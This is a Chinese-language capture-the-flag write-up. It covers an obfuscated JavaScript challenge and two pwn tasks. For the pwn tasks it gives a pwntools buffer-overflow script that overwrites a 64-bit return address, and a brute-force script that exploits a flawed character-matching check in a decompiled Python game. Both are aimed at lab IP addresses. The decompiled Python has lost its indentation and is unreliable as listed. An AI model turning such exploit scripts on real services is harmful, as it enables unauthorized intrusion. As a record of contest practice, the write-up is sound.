$$$=~[];$$$={___:++$$$,$$$$:(![]+"")[$$$],__$:++$$$,$_$_:(![]+"")[$$$],_$_:++$$$,$_$$:({}+"")[$$$],$$_$:($$$[$$$]+"")[$$$],_$$:++$$$,$$$_:(!""+"")[$$$],$__:++$$$,$_$:++$$$,$$__:({}+"")[$$$],$$_:++$$$,$$$:++$$$,$___:++$$$,$__$:++$$$};$$$.$_=($$$.$_=$$$+"")[$$$.$_$]+($$$._$=$$$.$_[$$$.__$])+($$$.$$=($$$.$+"")[$$$.__$])+((!$$$)+"")[$$$._$$]+($$$.__=$$$.$_[$$$.$$_])+($$$.$=(!""+"")[$$$.__$])+($$$._=(!""+"")[$$$._$_])+$$$.$_[$$$.$_$]+$$$.__+$$$._$+$$$.$;$$$.$$=$$$.$+(!""+"")[$$$._$$]+$$$.__+$$$._+$$$.$+$$$.$$;$$$.$=($$$.___)[$$$.$_][$$$.$_];$$$.$($$$.$($$$.$$+"""+$$$.$$__+$$$._$+"\"+$$$.__$+$$$.$_$+$$$.$$_+"\"+$$$.__$+$$$.$$_+$$$._$$+$$$._$+(![]+"")[$$$._$_]+$$$.$$$_+"."+(![]+"")[$$$._$_]+$$$._$+"\"+$$$.__$+$$$.$__+$$$.$$$+"(\"\"+$$$.__$+$$$.___+$$$.$$_+"\"+$$$.__$+$$$.__$+$$$.$__+"\"+$$$.__$+$$$.___+$$$.__$+"\"+$$$.__$+$$$.___+$$$.$$$+"{\"+$$$.__$+$$$.__$+$$$._$_+"\"+$$$.__$+$$$._$_+$$$._$$+"\"+$$$.$__+$$$.___+"\"+$$$.__$+$$$.___+$$$.$_$+"\"+$$$.__$+$$$.$_$+$$$.$$_+$$$.$$__+$$$._$+$$$.$$_$+$$$.$$$_+"\"+$$$.__$+$$$.$$_+$$$._$_+"\"+$$$.$__+$$$.___+"\"+$$$.__$+$$$._$_+$$$._$$+$$$._+$$$.$$__+"\"+$$$.__$+$$$.$_$+$$$._$$+"\"+$$$.__$+$$$.$$_+$$$._$$+"}\");"+""")())();
目测又是js，于是360浏览器里的console里跑一发，得到FLAG{JS Encoder Sucks}
Pwn
0x10 pwn100
菜的一批就弄了一个pwn，这题就是要输入一个payload根据返回的地址猜测覆盖到ret所需的字节数，注意是64位的。
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
io = remote('10.4.21.55',9001)
io.recvuntil("0x")
sys_addr = int(io.recv()[:12],16)
payload = 'f' * 56
payload += p64(sys_addr)
io.sendline(payload)
io.interactive()
0x11 pwn200(赛后搞出来的，记录一下)
首先用DIE扫一下(也可以在Linux环境下执行file+文件名)，如图
是个pyc文件，去网上在线反编译得到如下代码
#!/usr/bin/env python
# encoding: utf-8
# 访问 http://tool.lu/pyc/ 查看更多信息
__Auther__ = 'M4x'
from string import printable
from random import choice
from os import system
from sys import stdin, stdout, stderr
from termios import tcflush, TCIFLUSH
from time import sleep
dic = list(printable)
def Flush():
stdout.write('stdout1')
stderr.write('stderr1')
stderr.write('stderr1')
def Help():
print '
'
print 'M4x will give you 6 random printable chars'
print 'And you are supposed to match all the chars'
print 'If you match all the chars successfully, flag will goes to you'
print 'Good luck!'
print '
'
def Play():
tcflush(stdin, TCIFLUSH)
submit = raw_input('Give me your 6 chars: ')
if len(submit) != 6:
print 'Error length'
return None
lotto = [
None] * 6
for i in xrange(6):
lotto[i] = choice(dic)
match = 0
for i in xrange(6):
for j in xrange(6):
if lotto[i] == submit[j]:
match += 1
continue
if match == 6:
system('cat flag')
else:
print 'Have a nice day'
if __name__ == '__main__':
while True:
print '[*]Select menu'
print '[*]1. Play Game'
print '[*]2. Seek Help'
print '[*]3. Exit'
menu = input('Your choice: ')
if menu == 1:
Play()
continue
if menu == 2:
Help()
continue
if menu == 3:
print 'See you!'
break
continue
print 'Invald menu'
pwn的题目当然是要找漏洞啦，关键在这
for i in xrange(6):
for j in xrange(6):
#lotto是随机得到的长度为6的字符串，submit是我们输入的
if lotto[i] == submit[j]:
match += 1
continue
可以看到它每次都将lotto的一个元素和submit的所有元素比较一遍，匹配的话match就加一，那么我们输入的submit只需要赋为6个元素都相同的字符串，接下来就是不断地发送payload。
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
io = remote('10.4.21.55',9002)
payload = 'a'*6
while(1):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil("chars: ")
io.sendline(payload)
str = io.recvline()
print str
io.interactive()
题目出处：Islab
题目链接：https://pan.baidu.com/s/1eSpQ9qi
密码：4jlf